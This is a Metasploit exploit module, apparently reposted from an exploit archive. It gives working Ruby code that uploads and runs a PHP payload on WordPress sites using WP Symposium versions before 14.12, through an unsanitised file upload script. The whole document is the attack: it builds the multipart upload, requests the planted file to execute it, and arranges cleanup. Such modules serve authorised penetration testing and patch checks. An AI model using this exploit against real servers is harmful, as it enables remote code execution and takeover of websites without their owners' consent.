WordPress WP Symposium 14.11 Shell Upload

`##  
# This module requires Metasploit: http://www.metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FileDropper  
include Msf::HTTP::Wordpress  
  
def initialize(info = {})  
super(update_info(  
info,  
'Name' => 'WordPress WP Symposium 14.11 Shell Upload',  
'Description' => %q{WP Symposium Plugin for WordPress contains a  
flaw that allows a remote attacker to execute  
arbitrary PHP code. This flaw exists because the  
/wp-symposium/server/file_upload_form.php script  
does not properly verify or sanitize  
user-uploaded files. By uploading a .php file,  
the remote system will place the file in a  
user-accessible path. Making a direct request to  
the uploaded file will allow the attacker to  
execute the script with the privileges of the  
web server.},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Claudio Viviani', # Vulnerability disclosure  
'Rob Carr <rob[at]rastating.com>' # Metasploit module  
],  
'References' =>  
[  
['OSVDB', '116046'],  
['WPVDB', '7716']  
],  
'DisclosureDate' => 'Dec 11 2014',  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [['wp-symposium < 14.12', {}]],  
'DefaultTarget' => 0  
))  
end  
  
def check  
check_plugin_version_from_readme('wp-symposium', '14.12')  
end  
  
def generate_mime_message(payload, payload_name, directory_name, symposium_url)  
data = Rex::MIME::Message.new  
data.add_part('1', nil, nil, 'form-data; name="uploader_uid"')  
data.add_part("./#{directory_name}/", nil, nil, 'form-data; name="uploader_dir"')  
data.add_part(symposium_url, nil, nil, 'form-data; name="uploader_url"')  
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"files[]\"; filename=\"#{payload_name}\"")  
data  
end  
  
def exploit  
print_status("#{peer} - Preparing payload")  
unique_name = Rex::Text.rand_text_alpha(10)  
payload_name = "#{unique_name}.php"  
symposium_url = normalize_uri(wordpress_url_plugins, 'wp-symposium', 'server', 'php')  
payload_url = normalize_uri(symposium_url, unique_name, payload_name)  
data = generate_mime_message(payload, payload_name, unique_name, symposium_url)  
symposium_url = normalize_uri(symposium_url, 'index.php')  
  
print_status("#{peer} - Uploading payload to #{payload_url}")  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => symposium_url,  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => data.to_s  
)  
  
if res && res.code == 200 && res.body.length > 0 && !res.body.include?('error') && res.body != '0'  
print_good("#{peer} - Uploaded the payload")  
register_files_for_cleanup(payload_name)  
  
print_status("#{peer} - Executing the payload...")  
send_request_cgi(  
{  
'uri' => payload_url,  
'method' => 'GET'  
}, 5)  
print_good("#{peer} - Executed payload")  
else  
if res.nil?  
fail_with(Failure::Unreachable, "No response from the target")  
else  
vprint_error("#{peer} - HTTP Status: #{res.code}")  
vprint_error("#{peer} - Server returned: #{res.body}")  
fail_with(Failure::UnexpectedReply, "Failed to upload the payload")  
end  
end  
end  
end  
`